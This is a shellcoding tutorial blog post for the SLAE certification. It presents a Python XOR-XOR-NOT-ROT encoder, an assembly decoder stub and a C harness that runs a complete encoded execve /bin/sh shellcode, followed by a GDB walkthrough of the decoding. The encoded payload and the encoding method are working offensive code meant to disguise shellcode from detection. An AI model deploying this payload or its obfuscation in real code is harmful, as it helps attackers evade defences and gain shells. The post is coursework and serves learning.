Art of Shellcoding: The MultiEncoder Shellcode

Dear Readers, Hope you all are doing great. In the previous post, we saw how we could create a shellcode for egghunting and ended up creating one of the shortest egghunter shellcode with just under 12 bytes. In this post,  we will only work on encoding the shellcode by combining 3 different encoding schemes. The shellcode we will choose to demo our custom encoder will be a simple /bin/sh shell invoking shellcode. You can download a copy of this simple shellcode from here.  We will write a simple python script which will encode the bytes of the /bin/sh shellcode with our custom encoding scheme. Here is the source of the python script:
#!/usr/bin/python
# Multi Encoder
# Uses : XOR ---> XOR ---> NOT ---> ROT
# By: Nipun Jaswal ; SLAE-1080
# EXECVE /bin/sh Shellcode
shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
# Configure ROT Shifts
n = 131 #ROT Shift
upper_limit = 256 - n
encoded_shellcode = ""
encoded_shellcode_bytes = []
for x in bytearray(shellcode):
y = x^0xAA #XOR
z = y^0xCF # XOR
z = ~z #NOT
z = (z & 0xFF) #Removing Negatives
if z < upper_limit:
encoded_shellcode += '\\x%02x' % (z + n) #ROT
encoded_shellcode_bytes.append('0x%02x' % (z + n))
else:
encoded_shellcode += '\\x%02x' % (n - 256 + z)
encoded_shellcode_bytes.append('0x%02x' % (n - 256 + z))
#Joining
copy_data = ','.join(encoded_shellcode_bytes)
print "\nEncoded Shellcode (DEC SEQ: ROT->NOT->XOR->XOR):\n%s\n" % (encoded_shellcode)
print "\nEncoded Shellcode (ASM):\n"+ copy_data
view raw RNXX.py hosted with ❤ by GitHub


Running the python program, we can see that we have encoded shellcode which we can use in decoder stub:

As we can see this is a pretty straightforward Encoder which encodes each byte of the /bin/sh shellcode by XORing it with 0xAA, then XORing it again with 0xCF, then performing a NOT operation on the byte and finally doing a ROT shift of 131 on the byte. Therefore, to create a decoder stub for the shellcode, we will write a simple assembly program as follows:
; ROT NOT XOR XOR Decoder
; Author: Nipun Jaswal
; SLAE-ID: 1080
global _start
section .text
_start:
jmp short call_decoder ; JUMP - CALL - POP Sequence Starts
decoder:
pop esi ; Address of the Shellcode ---> ESI
xor ecx, ecx ; Clearing out ECX
mov cl, len ; Length of Shellcode to ECX
decode:
cmp byte [esi], 0x83 ; Compare the First and Consecutive Bytes with 131(0x83)
jl func_adjust ; If Matches go to func
sub byte [esi], 0x83 ; Else Subtract 131 from the Byte
not byte [esi] ; Not the Byte
xor byte [esi], 0xCF ; Xor the Byte
xor byte [esi], 0xAA ; Xor the Byte
jmp short loop_shellcode ; Jump to func2
func_adjust:
xor edx, edx ; Clearing EDX
mov dl, 0x83 ; Move 131 to EDX
sub dl, byte [esi] ; Subtract the Byte Value from 131
xor ebx,ebx ; Clearing EBX
mov bl, 0xff ; Moving 0xff to EBX
inc ebx ; Inc EBX
sub bx, dx ; Subtract 16-bit DX from BX
mov byte [esi], bl ; Moving Final Bl value to Current Byte Location
loop_shellcode:
inc esi ; Move to Next Byte
loop decode ; Repeat the Process for All the Shellcode
jmp short shellcode ; Finally Jump to the Shellcode
call_decoder:
call decoder ; Call to Decoder but pushes address of the Shellcode on the Stack
shellcode:
db 0x2e,0xdd,0x4d,0x75,0x38,0x38,0x6c,0x75,0x75,0x38,0x7b,0x76,0x77,0x96,0xfc,0x4d,0x96,0xfb,0x4c,0x96,0xfe,0xad,0x14,0xda,0x9d
len: equ $-shellcode
view raw Decoder.nasm hosted with ❤ by GitHub

We can see that it's a pretty straightforward decoder stub. The first operation it performs is to simply remove the ROT shift of 131 by subtracting the byte with 131. Next, it performs a NOT operation and then finally do a double XOR operation with 0xCF and 0xAA one after the other. After completing these four activities for all the bytes, it directly jumps to the Shellcode. Extracting the bytes of Shellcode from this program, we can just create a C program and test its functionality as follows:
#include<stdio.h>
#include<string.h>
unsigned char shellcode[] = \
"\xeb\x2c\x5e\x31\xc9\xb1\x19\x80\x3e\x83"
"\x7c\x0d\x80\x2e\x83\xf6\x16\x80\x36\xcf"
"\x80\x36\xaa\xeb\x10\x31\xd2\xb2\x83\x2a"
"\x16\x31\xdb\xb3\xff\x43\x66\x29\xd3\x88"
"\x1e\x46\xe2\xdb\xeb\x05\xe8\xcf\xff\xff"
"\xff\x2e\xdd\x4d\x75\x38\x38\x6c\x75\x75"
"\x38\x7b\x76\x77\x96\xfc\x4d\x96\xfb\x4c"
"\x96\xfe\xad\x14\xda\x9d";
int main(int argc, char* argv[])
{
printf("\nShellcode 1 Length: %d\n", strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}
view raw Decoder.c hosted with ❤ by GitHub


Compiling the C code, we can execute the program and see if works or not:


Works!! Great. We can see that the length of the shellcode is 76 bytes. Let's run this program in GDB and analyze the step by step decoding process as follows:


We can see that our original /bin/sh encoded shellcode of 25 bytes is visible in the above screenshot. We are currently doing a ROT shift of 131 by subtracting it from the first byte of our encoded shellcode which is 0x2e. This will change the byte 0x2e to 0xab:


Similarly, the next operation is to perform a NOT of the byte which will transform the byte 0xab to 0x54:


Next are two XOR operations, the first with 0xCF which will change the byte to 0x9b and the one with 0xaa will convert the byte to 0x31 which is the original byte of our /bin/sh execve shellcode:


Similarly, all the above operations will happen for rest of the 24 bytes of the shellcode, and before jumping to the decoded shellcode, we will have the following shell code:


This is nothing but the original shellcode of /bin/sh program as we can see in the python encoder Yeepee! We have successfully decoded the entire shellcode with ease. We can name this encoder as RNX2 encoder as XOR-XOR-NOT-ROT operations are followed for encoding and ROT-NOT-XOR-XOR for decoding.

All the files for this tutorial/ exercise are availiable at: https://github.com/nipunjaswal/slae-exam/tree/master/ASSGN-4


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:


Student-ID: SLAE-1080

No comments:

Powered by Blogger.